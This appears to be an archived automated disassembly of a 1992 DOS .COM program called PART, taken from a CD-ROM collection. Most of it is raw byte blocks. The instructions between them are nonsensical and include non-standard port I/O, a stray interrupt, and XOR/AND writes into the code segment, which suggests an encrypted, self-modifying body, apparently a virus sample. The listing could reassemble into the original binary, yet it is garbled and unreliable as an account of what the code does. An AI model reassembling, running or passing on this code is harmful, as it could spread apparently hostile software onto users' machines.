home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-P.ZIP / PART.ASM < prev    next >
Assembly Source File  |  1992-11-12  |  5KB  |  228 lines

  1.  
  2. PAGE  59,132
  3.  
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                    PART                         ██
  7. ;██                                         ██
  8. ;██      Created:   10-Aug-92                             ██
  9. ;██      Passes:    5           Analysis Options on: J                 ██
  10. ;██                                         ██
  11. ;██████████████████████████████████████████████████████████████████████████
  12.  
  13. data_11e    equ    0F42h            ;*
  14. data_13e    equ    2F42h            ;*
  15. data_14e    equ    3F42h            ;*
  16. data_15e    equ    65C4h            ;*
  17. data_16e    equ    7090h            ;*
  18. data_17e    equ    75C4h            ;*
  19.  
  20. seg_a        segment    byte public
  21.         assume    cs:seg_a, ds:seg_a
  22.  
  23.  
  24.         org    100h
  25.  
  26. part        proc    far
  27.  
  28. start:
  29.         esc    5,dh            ; coprocessor escape
  30.         db    0D6h, 2Fh, 12h, 24h, 01h, 49h
  31.         db     44h, 7Eh, 2Eh, 82h, 01h,0F1h
  32.         db    0F9h, 90h,0DCh,0C3h, 21h, 74h
  33.         db    0EAh, 42h,0EDh, 72h, 81h, 7Bh
  34.         db    0B5h,0E4h, 6Eh, 71h, 64h, 4Ah
  35.         db     19h,0B6h,0CAh, 28h,0E0h, 17h
  36.         db    0C6h,0B5h, 33h, 36h, 09h,0C2h
  37.         db    0A3h,0A1h, 21h, 9Eh, 30h, 74h
  38.         db    0C5h, 51h,0E1h, 91h, 24h, 99h
  39.         db     93h, 0Fh,0D0h, 0Dh, 0Ah, 69h
  40.         db    0FEh,0ACh, 27h, 10h,0C5h,0A5h
  41.         db     1Eh, 94h,0AEh, 1Bh,0DAh, 4Eh
  42.         db     49h, 58h, 2Fh, 1Dh, 65h,0E4h
  43.         db     74h,0F6h, 7Eh, 22h, 61h, 2Eh
  44.         db    0D2h,0FDh, 56h, 92h
  45.         db    2Eh
  46. loc_1:
  47.         in    ax,0F7h            ; port 0F7h ??I/O Non-standard
  48.         lds    cx,dword ptr [bp+di+75h]    ; Load 32 bit ptr
  49.         mov    [bp+si],es
  50.         sbb    al,0DEh
  51.         sub    bp,cx
  52.         out    0Eh,ax            ; port 0Eh, DMA-1 clr mask reg
  53.         adc    al,3Eh            ; '>'
  54.         sub    ax,73Eh
  55.         and    [bx-39h],dh
  56.         pop    bp
  57.         pop    bx
  58.         mov    dx,0D157h
  59.         and    [bp+si],ax
  60.         inc    sp
  61.         pop    si
  62.         mov    si,ax
  63. ;*        pop    cs            ; Dangerous 8088 only
  64.         db    0Fh
  65.         pop    cx
  66.         rcl    byte ptr [bp+di+53h],cl    ; Rotate thru carry
  67.         pop    di
  68.         loop    locloop_4        ; Loop if cx > 0
  69.  
  70.         sub    [bx-17h],ch
  71.         xor    ax,398Ah
  72.         sal    bh,1            ; Shift w/zeros fill
  73.         aaa                ; Ascii adjust
  74.         or    [bp+si+7AF0h],ch
  75.         loopnz    $+36h            ; Loop if zf=0, cx>0
  76.  
  77.         xchg    ax,bp
  78.         and    al,0E4h
  79.         jl    loc_1            ; Jump if <
  80.         call    $-52ACh
  81.         xchg    ax,cx
  82.         retn    10E7h
  83.         push    di
  84.         int    3            ; Debug breakpoint
  85.         xchg    ax,bp
  86.         sub    dh,bh
  87.         inc    cx
  88.         into                ; Int 4 on overflow
  89.         aaa                ; Ascii adjust
  90.         dec    sp
  91.         db    6Ah
  92.  
  93. locloop_4:
  94.         push    ss
  95.         jmp    $+422Bh
  96. ;*        call    far ptr sub_1        ;*
  97.         db     9Ah, 53h, 67h,0FFh, 82h
  98.         db     68h,0E9h, 4Bh,0DCh, 76h,0CBh
  99.         db    0E7h, 4Ah,0E4h, 8Ah, 92h,0E2h
  100.         db     03h, 54h,0CCh, 85h
  101.  
  102. locloop_5:
  103.         xor    ah,al
  104.         push    cs
  105.         retn
  106.         db     6Eh, 5Bh, 7Fh, 01h,0E8h, 7Dh
  107.         db     0Fh, 86h, 52h, 56h,0F9h,0AEh
  108.         db     2Fh, 95h, 4Bh,0FDh, 77h,0E0h
  109.         db    0E8h, 69h,0ADh
  110.         db    0BBh, 85h, 97h, 02h, 7Ch,0CBh
  111.         db    0A8h, 39h,0DAh, 2Eh, 80h, 4Ah
  112.         db     74h, 8Ch, 4Ch, 85h, 6Dh, 42h
  113.         db    0FFh, 21h, 35h, 90h,0D0h, 48h
  114.         db    0A5h, 24h, 9Dh, 12h, 82h, 89h
  115.         db     0Dh,0C4h,0C5h,0E2h,0A7h, 71h
  116.         db     15h,0B8h,0CCh, 5Ch,0A7h
  117.         db    2Eh
  118. loc_6:
  119.         nop
  120.         pop    ss
  121.         or    [bp+di],cl
  122.         inc    sp
  123.         test    bx,ds:data_11e[di]
  124.         and    bp,ax
  125.         nop
  126.         and    [bx+si+55h],cl
  127.         and    al,6Dh            ; 'm'
  128.         adc    dh,[bp+si-77h]
  129.         std                ; Set direction flag
  130.         les    si,dword ptr [di]    ; Load 32 bit ptr
  131. ;*        loop    locloop_12        ;*Loop if cx > 0
  132.  
  133.         db    0E2h, 57h
  134.         jno    loc_6            ; Jump if not overflw
  135.         mov    ax,5C3Ch
  136.         push    di
  137. loc_8:
  138.         db     2Eh, 60h, 17h,0F8h, 0Bh,0B4h
  139.         db     85h, 8Dh, 42h, 1Fh, 21h,0D5h
  140.         db     90h, 30h, 48h, 45h, 24h, 7Dh
  141.         db     12h, 62h, 89h,0EDh,0C4h, 25h
  142.         db    0E2h, 47h, 71h,0F5h,0B8h
  143.         db     2Ch, 5Ch, 47h, 2Eh
  144. loc_9:
  145.         jo    loc_11            ; Jump if overflow=1
  146.         call    $-5BF2h
  147.         test    di,ds:data_13e[di]
  148.         and    bp,sp
  149.         nop
  150.         add    [bx+si+75h],cl
  151.         and    al,4Dh            ; 'M'
  152.         adc    dl,[bp+si-77h]
  153.         esc    5,ah            ; coprocessor escape
  154.         adc    ax,77E2h
  155. loc_11:
  156.         jno    loc_8            ; Jump if not overflw
  157.         mov    ax,5C1Ch
  158.         ja    loc_13            ; Jump if above
  159.         inc    ax
  160.         pop    ss
  161.         esc    0,[bp+di]        ; coprocessor escape
  162.         xchg    ax,sp
  163.         test    bp,ds:data_14e[di]
  164.         and    bp,si
  165.         nop
  166.         adc    [bx+si+65h],cl
  167.         and    al,5Dh            ; ']'
  168.         adc    al,[bp+si-77h]
  169.         int    0C4h            ; ??INT Non-standard interrupt
  170.         add    ax,67E2h
  171. ;*        jno    loc_10            ;*Jump if not overflw
  172.         db     71h,0D5h
  173.         mov    ax,5C0Ch
  174.         db     67h, 2Eh, 50h, 17h,0C8h, 0Bh
  175.         db     84h, 85h,0DDh, 42h, 4Fh, 21h
  176.         db     85h, 90h
  177.         db     60h, 48h
  178. loc_13:
  179.         adc    ax,2D24h
  180.         adc    dh,[bp+si]
  181.         mov    ds:data_17e[di],di
  182. ;*        loop    locloop_15        ;*Loop if cx > 0
  183.  
  184.         db    0E2h, 17h
  185.         jno    loc_9            ; Jump if not overflw
  186.         mov    ax,5C7Ch
  187.         pop    ss
  188.         and    cs:[bx],dl
  189.         mov    ax,0F40Bh
  190.         test    cx,bp
  191.         inc    dx
  192.         pop    di
  193.         and    ds:data_16e[di],dx
  194.         dec    ax
  195.         add    ax,3D24h
  196.         adc    ah,[bp+si]
  197.         mov    ds:data_15e[di],bp
  198.         loop    $+9            ; Loop if cx > 0
  199.  
  200. ;*        jno    locloop_12        ;*Jump if not overflw
  201.         db     71h,0B5h
  202.         mov    ax,5C6Ch
  203.         pop    es
  204.         xor    cs:[bx],dl
  205.         test    al,8Bh
  206.         in    ax,84h            ; port 84h ??I/O Non-standard
  207.         std                ; Set direction flag
  208.         inc    si
  209.         db     61h, 30h, 55h, 81h, 40h, 48h
  210.         db     35h,0DAh,0E2h, 12h, 12h, 89h
  211.         db     9Dh,0C5h,0A4h,0E7h, 39h,0A0h
  212.         db     62h,0B7h,0ACh, 5Ch, 37h, 27h
  213.         db    0F4h, 15h, 98h, 0Bh,0D4h, 85h
  214.         db    0EDh, 42h, 7Fh, 21h,0B5h, 90h
  215.         db     50h, 48h, 25h, 24h, 1Dh, 12h
  216.         db     02h, 89h, 8Dh,0C4h, 45h,0E2h
  217.         db     27h, 71h, 95h,0B8h, 4Ch, 5Ch
  218.         db     27h, 2Eh, 10h, 17h, 88h, 5Eh
  219.         db     6Eh, 00h
  220.  
  221. part        endp
  222.  
  223. seg_a        ends
  224.  
  225.  
  226.  
  227.         end    start
  228.